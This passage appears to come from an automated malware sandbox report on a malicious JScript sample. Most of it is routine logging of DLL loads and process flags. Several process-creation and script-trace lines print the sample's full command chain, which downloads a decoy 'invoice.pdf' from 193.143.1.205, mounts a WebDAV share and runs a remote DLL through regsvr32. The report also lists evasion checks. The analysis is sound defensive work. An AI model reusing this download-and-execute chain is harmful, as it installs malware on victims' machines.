Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5200.js.csv");ITextStream.WriteLine(" entry:7495 f:cjvir");ITextStream.WriteLine(" exec:2 f:cjvir");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6003			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3771			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7420	Thread sleep count: 6003 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7420	Thread sleep count: 3771 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7540	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7560	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7764	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7984	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 0000000C.00000002.1382360863.000001D0627FD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1382360863.000001D062798000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2565376892.0000024D79458000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2564272373.0000024D73E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 0000000C.00000002.1382360863.000001D0627FD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWas

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
